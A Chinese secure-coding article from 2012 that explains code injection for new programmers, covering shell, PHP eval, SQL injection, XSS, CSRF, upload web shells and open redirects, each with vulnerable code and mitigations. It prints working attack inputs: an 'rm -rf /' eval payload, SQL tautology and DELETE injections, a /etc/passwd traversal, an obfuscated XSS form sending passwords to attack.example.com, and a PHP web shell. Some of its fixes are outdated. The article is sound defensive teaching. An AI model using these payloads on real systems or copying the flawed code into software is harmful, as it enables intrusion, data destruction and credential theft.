您的位置:知识库 » 程序人生

程序员疫苗:代码注入

作者: 陈皓  发布时间: 2012-12-10 14:08  阅读: 11381 次  推荐: 56   原文链接   [收藏]  

  文/陈皓

  几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。

  我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。

  Shell 注入

  我们先来看一段 perl 的代码:

use CGI qw (:standard);
$name = param ('name');
$nslookup = "/path/to/nslookup";
print header;
if (open ($fh, "$nslookup $name|")) {
    while (<$fh>) {
        print escapeHTML ($_);
        print "<br>\n";
    }
    close ($fh);
}

  如果用户输入的参数是:

coolshell.cn%20%3B%20/bin/ls%20-l

  那么,这段 perl 的程序就成了:

/path/to/nslookup coolshell.cn ; /bin/ls -l

  我们再来看一段 PHP 的程序:

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

  “eval“的参数将会视同 PHP 处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system ('rm -rf /')“,后面的”system ('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于 rm -rf /,你懂的,可参看“一个空格引发的悲剧”)

  再来看一个 PHP 的代码

$isadmin= false;
... ... foreach ($_GET as $key => $value) {
  $$key = $value;
}

  如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin 将会被设为值 “1″,然后攻击值就取得了网站应用的 admin 权限了。

  再来看一个 PHP 的示例:

$action = 'login';
   if (__isset ( $_GET['act'] ) )
      $action = $_GET['act'];
   require( $action . '.php' );

  这个代码相当危险,攻击者有可能可以干这些事:

  • /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
  • /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做 exploit.php 文件运行其代码。
  • /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该 UNIX 系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP 默认值”magic_quotes_gpc = On”可以终止这种攻击)

  这样的示例有很多,只要你的程序有诸如:system ()StartProcess ()java.lang.Runtime.exec ()System.Diagnostics.Process.Start ()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。

  PHP 提供escapeshellarg ()escapeshellcmd ()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。

  SQL 注入

  SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏。

  在应用程序中若有下列状况,则可能应用程序正暴露在 SQL Injection 的高风险情况下:

  1. 在应用程序中使用字符串联结方式组合 SQL 指令(如:引号没有转义)。
  2. 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用 sa(最高权限的系统管理员帐户)连接 Microsoft SQL Server 数据库)。
  3. 在数据库中开放了不必要但权力过大的功能(例如在 Microsoft SQL Server 数据库中的 xp_cmdshell 延伸预存程序或是 OLE Automation 预存程序等)
  4. 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。

  例程:

  某个网站的登录验证的 SQL 查询代码为

strSQL = "SELECT * FROM users
WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

  用户在登录时恶意输入如下的的用户名和口令:

userName = "' OR '1'='1";    
passWord = "' OR '1'='1";

  此时,将导致原本的 SQL 字符串被解析为:

strSQL = "SELECT * FROM users
WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"

  也就是实际上运行的 SQL 命令会变成下面这样的,因此导致无帐号密码,也可登录网站。

strSQL = "SELECT * FROM users;"

  这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:

username= "' ; DELETE FROM users; --";

  这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。

  所以 SQL 注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳这篇文章里的 SQL 注入

  当他们发现一个网站有 SQL 注入的时候,他们一般会干下面的事:

  • 盗取数据表中的数据,例如个人机密数据(信用卡,身份证,手机号,通讯录……),帐户数据,密码等,获得用户的数据和信息后对这些用户进行“社会工程学”活动(如:我前两天在微信上亲身经历)。
  • 取得系统管理员权限(例如 ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
  • 在数据库中的数据中插入一些 HTML/JS 代码,有可能得以在网页加入恶意链接以及 XSS,这样一来就让访问者被黑。
  • 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如:MS SQL Server 的 xp_cmdshell “net stop iisadmin”可停止服务器的 IIS 服务)。甚至破坏硬盘数据,瘫痪全系统(例如 xp_cmdshell “FORMAT C:”)。

  现在的黑客比较坏,瘫痪系统的事,他们干的越来越少,因为没什么利益,他们希望通过获取用户的帐号信息后,转而攻击用户别的帐号,如游戏帐号,网银帐号,QQ 帐号等等他们可以获利的事情(这就是为什么我希望大家在不站点上使用不同的口令,甚至不同的用户信息的原因)

  如何避免

  • 在组合 SQL 字符串时,先针对所传入的参数作字符转义(如:将单引号字符取代为连续 2 个单引号字符)。如果使用 PHP 开发网页程序的话,亦可打开 PHP 的 Magic quote 功能自动将所有的网页传入参数,将单引号字符取代为连续 2 个单引号字符。如果可能应该过滤以下字符:分号“;”,两个减号“–”,单引号“’”,注释“/* … */”。(当然,因为注入攻击一般用闭合的引号来玩,所以把引号转义了应该就没有什么问题了)
  • 更换危险字符。例如在 PHP 通过addslashes ()函数保护 SQL 注入。
  • 限制用户输入的长度,限制用户输入的取值范围。
  • 为当前应用建立权限比较小的数据库用户,这样不会导致数据库管理员丢失。
  • 把数据库操作封装成一个 Service,对于敏感数据,对于每个客户端的 IP,在一定时间内每次只返回一条记录。这样可以避免被拖库。

  跨网站脚本注入

  跨网站脚本Cross-site scripting,通常简称为 XSS 或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java, VBScript, ActiveX, Flash 或者甚至是普通的 HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。

  假如我们有这样一段 PHP 的代码:

$username = $_GET['username'];
echo '<div> Welcome, ' . $username . '</div>';

  那么我们可以这样来注入:

http://trustedSite.example.com/welcome.php?username=<
               Script Language=”Javascript”>alert (“You’ve been attacked!”);
</Script>

  甚至这样:

http://trustedSite.example.com/welcome.php?username=<div id=”stealPassword”>Please Login:<form name=”input” action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username” /><br/>Password: <input type=”password” name=”password” /><input type=”submit” value=”Login” /></form></div>

  这会让网页显示以下内容:

<div class="header"> Welcome,
    <div id="stealPassword">Please Login:
        <form name="input" action="attack.example.com/stealPassword.php" method="post">
            Username: <input type="text" name="username" /> <br/>
            Password: <input type="password" name="password" /> <input type="submit" value="Login" /> </form> </div> </div>

  注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode 码):

trustedSite.example.com/welcome.php?username=<script+type=”text/javascript”>
document.write (‘\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D’);</script>

  XSS 的攻击主要是通过一段 JS 程序得到用户已登录的 cookie 去模拟用户的操作(甚至偷用户的 cookie)。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招,还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《新浪微博的 XSS 攻击》一文。XSS 攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的 XSS 攻击》。

  XSS 攻击在论坛的用户签档里面(使用 img 标签)也发生过很多次,包括像一些使用 bcode 的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括 CSS 都有可能被注入 javascript 代码。

  另外,XSS 攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器 HTML 安全列表

<table background=”javascript:alert (1)”> 
<meta charset=”mac-farsi”>¼script¾alert (1)¼/script¾ <img src=”javascript:alert (1)”>

  XSS 攻击通常会引发 CSRF 攻击。CSRF 攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的 cookie,从而使得用户的B站点被攻击。(这得益于现在的多 Tab 页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的 cookie 又是共享的)

  于是,如果我在A站点内的某个贴子内注入这么一段代码:

<img src="http://bank.example.com/transfer?account=XXX&amount=1000000&for=haoel">

  很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。

  如何避免

  要防止 XSS 攻击,一般来说有下面几种手段:

  • 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的 HTML 编辑器。
  • 严格过滤用户的输入。如:
    • PHP 的htmlentities ()或是 htmlspecialchars ()或是 strip_tags ()
    • Python 的cgi.escape ()
    • ASP 的Server.HTMLEncode ()
    • Node.js 的 node-validator。
    • Java 的 xssprotect
  • 在一些关键功能,完全不能信任 cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
  • 限制 cookie 的过期时间。
  • 对于 CRSF 攻击,一是需要检查 http 的 reference header。二是不要使用 GET 方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的 token,这个 token 是攻击者很难伪造的。(对于 token 的生成,建议找一些成熟的 lib 库)

  另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些 Web Mail,我可以通过别的服务器向被攻击用户发送有 JS 代码、图片、Flash 的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail 一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的 SMTP 协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信所以,我再次真诚地告诉大家,请用 gmail 邮箱。别再跟我说什么 QQMail 之类的好用了。

  上传文件

  上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个 PHP、ASP、JSP 的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。

  举个例子:

  上传页面

<form action="upload_picture.php" method="post" enctype="multipart/form-data">
要上传的文件:
<input type="file" name="filename"/> <br/> <input type="submit" name="submit" value="Submit"/> </form>

  后台上传文件的 PHP 程序

$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
    echo "图片文件上传成功";
}else{</div> echo "图片文件上传失败";
}

  假如我上传了一个 PHP 文件如下:

  文件名 malicious.php

<?php
system($_GET['cmd']);
?>

  那么,我就可以通过如下的 URL 访问攻击你的网站了:

http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

  抵御这样的攻击有两种手段:

  1)限制上传文件的文件扩展名。

  2)千万不要使用 root 或 Administrator 来运行你的 Web 应用。

  URL 跳转

  URL 跳转很有可能会成为攻击利用的工具。

  比如下面的 PHP 代码:

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

  这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在 URL 里加上要被跳转过去的网页。于是会出现上述那样的代码。

  于是我们就可以通过下面的 URL,跳转到一个恶意网站上,而那个网站上可能有一段 CSRF 的代码在等着你,或是一个钓鱼网站。

http://bank.example.com/redirect?url=http://attacker.example.net

  这种攻击具有的迷惑性在于,用户看到的 http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了

  解决这个问题很简单,你需要在你的后台判断一下传过来的 URL 的域名是不是你自己的域名。

  你可以看看 Google 和 Baidu 搜索引擎的链接跳转,百度的跳转链接是被加密过的,而 Google 的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google 会显示一个重定向的提醒页面。(我个人觉得还是 Google 做得好)

  (本篇文章结束)

  这此篇行文比较仓促,欢迎大家补充,并指出我文中的问题。

56
0
标签:程序员

程序人生热门文章

    程序人生最新文章

      最新新闻

        热门新闻